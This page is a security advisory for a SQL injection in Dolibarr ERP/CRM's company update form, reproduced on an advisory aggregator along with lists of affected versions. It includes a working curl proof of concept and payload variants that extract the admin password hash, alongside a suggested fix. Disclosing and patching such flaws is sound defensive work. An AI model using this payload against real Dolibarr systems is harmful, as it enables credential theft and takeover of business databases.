GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GHSA-v5fq-cf5m-vwv7high8.8

Dolibarr has SQL Injection in societe/class/societe.class.php via localtax1_value parameter

Check your stack

The advisory, in context

Summary

A SQL Injection vulnerability exists in the Third Party (Company) update functionality of Dolibarr ERP/CRM. The localtax1_value parameter (lt1) is concatenated directly into an SQL UPDATE statement in societe/class/societe.class.php at line 1672 without any escaping, type casting, or parameterized query binding.

An authenticated user with standard "Third Party: Create/Edit" permission can extract any data from the database, including password hashes, API keys, and all business data.

Tested on Dolibarr v23.0.0 (latest stable), default installation via official Docker image, MariaDB 10.11. No custom modules, no modified configuration.

Details

Vulnerable code (societe/class/societe.class.php, line 1672):

$sql .= ",localtax1_value =".$this->localtax1_value;

The value comes from GETPOST('lt1', 'alpha') (societe/card.php, line 1135). The only sanitization applied is trim() at line 1528 — no (float) cast, no $db->escape().

The alpha input filter strips HTML tags and double quotes but does not strip single quotes, parentheses, commas, or SQL keywords. Since the injection point is in a numeric SQL context (no quotes around the value), the attacker needs none of the filtered characters.

Why the WAF does not block this: Dolibarr's WAF (waf.inc.php) only checks SQL injection patterns in GET parameters, not POST. The POST-based lt1 parameter bypasses it entirely.

The same vulnerability exists for localtax2_value (parameter lt2) at line 1682.

Adjacent fields like localtax1_assuj are properly cast to (int), showing the developers were aware of injection risk but missed these fields.

PoC

Steps to reproduce:

  1. Install Dolibarr v23.0.0 (tested with official Docker image, MariaDB 10.11)
  2. Log in with a user that has "Third Parties: Create/Edit" permission (standard user, not admin)
  3. Create or open any existing Third Party (company) record
  4. Click "Edit" on the company card to open the update form
  5. Intercept the POST request (e.g., Burp Suite) and add these parameters to the request body:
    • localtax1assuj_value=1
    • lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
  6. Submit the form (server responds with HTTP 302 Found — successful update)
  7. Navigate to the company's Notes tab — the admin's MD5 password hash is now visible in the "Private Note" field

Verification: echo -n "admin123" | md5sum → 0192023a7bbd73250516f069df18b500 (matches exfiltrated hash).

Figure 1 — Notes tab before exploitation (Private Note field is empty):

<img width="1372" height="822" alt="Notes tab after exploitation — admin password hash exfiltrated" src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />

Figure 2 — Burp Suite Repeater: full POST request headers and HTTP 302 Found response:

<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />

Figure 3 — Burp Suite Repeater: request body with injected localtax1assuj_value=1 and lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1):

<img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" />

Figure 4 — Notes tab after exploitation: Private Note now contains 0192023a7bbd73250516f069df18b500 (MD5 hash of admin password "admin123"):

<img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" />

curl PoC:

curl -b cookies.txt \
  --data-urlencode "action=update" \
  --data-urlencode "token=CSRF_TOKEN" \
  --data-urlencode "socid=1" \
  --data-urlencode "name=TestCompany" \
  --data-urlencode "status=1" \
  --data-urlencode "localtax1assuj_value=1" \
  --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
  --data-urlencode "client=1" \
  --data-urlencode "typent_id=0" \
  "http://TARGET/societe/card.php?socid=1"

Additional proof — arithmetic evaluation: Sending lt1=3+4 results in localtax1_value=7.0000 stored in the database. The expression was evaluated by the SQL engine, confirming injection.

Additional proof — user count exfiltration: Sending lt1=(SELECT COUNT(*) FROM llx_user) results in localtax1_value=1.0000.

Impact

An attacker with basic "Third Party: Create/Edit" permission (standard user, not admin) can:

  • Read any data from the database (password hashes, API keys, customer/supplier data, invoices, bank account details)
  • Modify any database record via additional SET clauses in the UPDATE injection
  • Escalate to admin by cracking MD5 password hashes (Dolibarr uses unsalted MD5 by default)
  • Potentially achieve RCE via admin features (Website module PHP injection, ModuleBuilder) after privilege escalation

Suggested Fix

// societe.class.php, line 1528 — add (float) cast:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php, line 1672 — add (float) cast:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);

Apply same fix for localtax2_value (lines 1529, 1682).

Credit

Please credit this finding to: Grzegorz Tworek (F3715H) sec4check (grzegorz.tworek@sec4check.pl)

References

A detailed write-up will be published after patch release at: https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html

We kindly request including this URL in the CVE references.

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases through 23.0.0 (inclusive)

No fix recorded for this interval.

112 explicitly affected versions

10.0.0, 10.0.1, 10.0.2, 10.0.3, 10.0.4, 10.0.5, 10.0.6, 10.0.7, 11.0.0, 11.0.1, 11.0.2, 11.0.3, 11.0.4, 11.0.5, 12.0.0, 12.0.1, 12.0.2, 12.0.3, 12.0.4, 12.0.5, 13.0.0, 13.0.1, 13.0.2, 13.0.3, 13.0.4, 13.0.5, 14.0.0, 14.0.1, 14.0.2, 14.0.3, 14.0.4, 14.0.5, 15.0.0, 15.0.1, 15.0.2, 15.0.3, 3.6.0, 3.6.0-beta, 3.6.1, 3.6.2, 3.6.3, 3.6.4, 3.6.5, 3.6.6, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.8.0, 3.8.0-beta, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.9.0, 3.9.0-rc, 3.9.0-rc2, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 4.0.0, 4.0.0-beta, 4.0.0-rc, 4.0.0-rc2, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 5.0.0, 5.0.0-beta, 5.0.0-rc1, 5.0.0-rc2, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.0.7, 6.0.0, 6.0.0-beta, 6.0.0-rc, 6.0.1, 6.0.2, 6.0.3, 6.0.4, 6.0.5, 6.0.6, 6.0.7, 6.0.8, 7.0.0, 7.0.1, 7.0.2, 7.0.3, 7.0.4, 7.0.5, 8.0.0, 8.0.1, 8.0.2, 8.0.3, 8.0.4, 8.0.5, 8.0.6, 9.0.0, 9.0.1, 9.0.2, 9.0.3, 9.0.4

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "last_affected": "23.0.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "10.0.0",
    "10.0.1",
    "10.0.2",
    "10.0.3",
    "10.0.4",
    "10.0.5",
    "10.0.6",
    "10.0.7",
    "11.0.0",
    "11.0.1",
    "11.0.2",
    "11.0.3",
    "11.0.4",
    "11.0.5",
    "12.0.0",
    "12.0.1",
    "12.0.2",
    "12.0.3",
    "12.0.4",
    "12.0.5",
    "13.0.0",
    "13.0.1",
    "13.0.2",
    "13.0.3",
    "13.0.4",
    "13.0.5",
    "14.0.0",
    "14.0.1",
    "14.0.2",
    "14.0.3",
    "14.0.4",
    "14.0.5",
    "15.0.0",
    "15.0.1",
    "15.0.2",
    "15.0.3",
    "3.6.0",
    "3.6.0-beta",
    "3.6.1",
    "3.6.2",
    "3.6.3",
    "3.6.4",
    "3.6.5",
    "3.6.6",
    "3.7.0",
    "3.7.1",
    "3.7.2",
    "3.7.3",
    "3.7.4",
    "3.8.0",
    "3.8.0-beta",
    "3.8.1",
    "3.8.2",
    "3.8.3",
    "3.8.4",
    "3.9.0",
    "3.9.0-rc",
    "3.9.0-rc2",
    "3.9.1",
    "3.9.2",
    "3.9.3",
    "3.9.4",
    "4.0.0",
    "4.0.0-beta",
    "4.0.0-rc",
    "4.0.0-rc2",
    "4.0.1",
    "4.0.2",
    "4.0.3",
    "4.0.4",
    "4.0.5",
    "4.0.6",
    "5.0.0",
    "5.0.0-beta",
    "5.0.0-rc1",
    "5.0.0-rc2",
    "5.0.1",
    "5.0.2",
    "5.0.3",
    "5.0.4",
    "5.0.5",
    "5.0.6",
    "5.0.7",
    "6.0.0",
    "6.0.0-beta",
    "6.0.0-rc",
    "6.0.1",
    "6.0.2",
    "6.0.3",
    "6.0.4",
    "6.0.5",
    "6.0.6",
    "6.0.7",
    "6.0.8",
    "7.0.0",
    "7.0.1",
    "7.0.2",
    "7.0.3",
    "7.0.4",
    "7.0.5",
    "8.0.0",
    "8.0.1",
    "8.0.2",
    "8.0.3",
    "8.0.4",
    "8.0.5",
    "8.0.6",
    "9.0.0",
    "9.0.1",
    "9.0.2",
    "9.0.3",
    "9.0.4"
  ]
}

References